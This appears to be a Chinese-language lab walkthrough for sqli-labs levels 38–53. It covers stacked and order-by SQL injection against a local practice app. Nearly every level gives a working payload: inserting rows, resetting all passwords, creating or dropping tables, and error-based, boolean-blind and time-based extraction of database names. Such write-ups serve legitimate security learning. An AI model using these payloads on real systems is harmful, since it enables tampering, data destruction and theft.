Stacked Injections
文章目录
less-38
由于在这里使用了执行一个或多个sql语句的函数mysqli_multi_query。
所以可以尝试堆叠注入,堆叠注入就是执行多条SQL语句,通过;分割;在实战中,由于正常数据库只会回显出我们想要的结果,所以,堆叠注入在黑盒测试下只能通过模糊测试来进行测试。由于是直接执行多条SQL语句,所以对SQL语句就并无限制,可以通过堆叠注入增删改查等数据库操作。
我们在知道数据库结构后尝试进行插入数据操作
http://127.0.0.1/sql-labs/Less-38/?id=1';insert into users(id,username,password)values(20,'keepb1ue','2020')--+
插入后,我们直接切换到id 20,看看是否插入成功
当然我们还可以执行任何SQL语句,这也说明了堆叠注入危害极大。
less-39
和38一样,堆叠注入,只不过将id参数包裹引号去掉罢了。
http://127.0.0.1/sql-labs/Less-39/?id=1;insert into users(id,username,password)values(19,'allblue','2019')--+
less-40
不多说
http://127.0.0.1/sql-labs/Less-40/?id=1');insert into users(id,username,password)values(18,'hacker','2018')--+
less-41
还是整数型堆叠注入
http://127.0.0.1/sql-labs/Less-41/?id=1;update users set password='hacker'
where id>0--+
将所有密码都改成了hacker
less-42
基于24关卡新增post的堆叠:
login_user=admin&login_password=1';create table keepb1ue like users#
创建一个和users同样结构的数据库
less-43
post 闭合’)
login_user=King&login_password=123');insert into users(id,username,password)values(22,'test22','test22')#
less-44
与43比较,只是闭合方式改了和去掉了一个打印报错信息的语句。
那如果在实战中没有报错信息那就只能去fuzz了
login_user=King&login_password=123';drop table keepb1ue#
less-45
mysqli_muti_query,还是闭合 ')堆叠
login_user=King&login_password=123');insert into
users(id,username,password)values(23,'KB','KB')#
less-46
order by注入
我们可以通过asc 和desc查看返回数据是否相同来简单判断是否存在order by注入
证明的确有order by 注入
order by注入有很多种方式进行注入
比如:报错注入、盲注、异或注入。如果达到一定条件还可以联合注入
报错注入很简单:
http://127.0.0.1/sql-labs/Less-46/?sort=1 and
updatexml(1,concat(0x7e,(select database())),1)
盲注:
http://127.0.0.1/sql-labs/Less-46/?sort=rand(ascii(left(database(),1))=115)
根据rand来对SQL语句对错做判断,因为rand(True)和rand(False)的回显结果是不一样的。
less-47
还是闭合不同
http://127.0.0.1/sql-labs/Less-47/?sort=1' and
updatexml(1,concat(0x7e,(select database())),1) --+
http://127.0.0.1/sql-labs/Less-47/?sort=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
less-48
本关与less-46的区别在于报错注入不能使用,不进行错误回显,因此其他的方法我们依旧是可以使用的。
可以利用sort=rand(true/false)进行判断。
http://127.0.0.1/sql-labs/Less-48/?sort=rand(ascii(left(database(),1))=150)
http://127.0.0.1/sql-labs/Less-48/?sort=rand(ascii(left(database(),1))=115)
根据rand(true)和rand(fales)的回显不一样做判断,进行布尔盲注
延时:
http://127.0.0.1/sql-labs/Less-48/?sort=1 and (If(ascii(substr(database(),1,1))=115,sleep(5),1))
less-49
与less47很类似,只是没有错误回显
利用延时注入
http://127.0.0.1/sql-labs/Less-49/?sort=1' and (if(ascii(substr((select username from users where id=1),1,1))=115,0,sleep(5)))--+
less-50
order by+堆叠注入
http://127.0.0.1/sql/Less-50/?sort=1;create table keepblue like users--+
less-51
和上一关一样,闭合变成’:
http://127.0.0.1/sql/Less-51/?sort=1';drop table keepb1ue--+
less-52
去掉了闭合,去掉了错误提示
http://127.0.0.1/sql/Less-52/?sort=1;create table keepb1ue like users--+
less-53
和51一样的做法,不多做讲解
http://127.0.0.1/sql/Less-53/?sort=1';drop table keepb1ue--+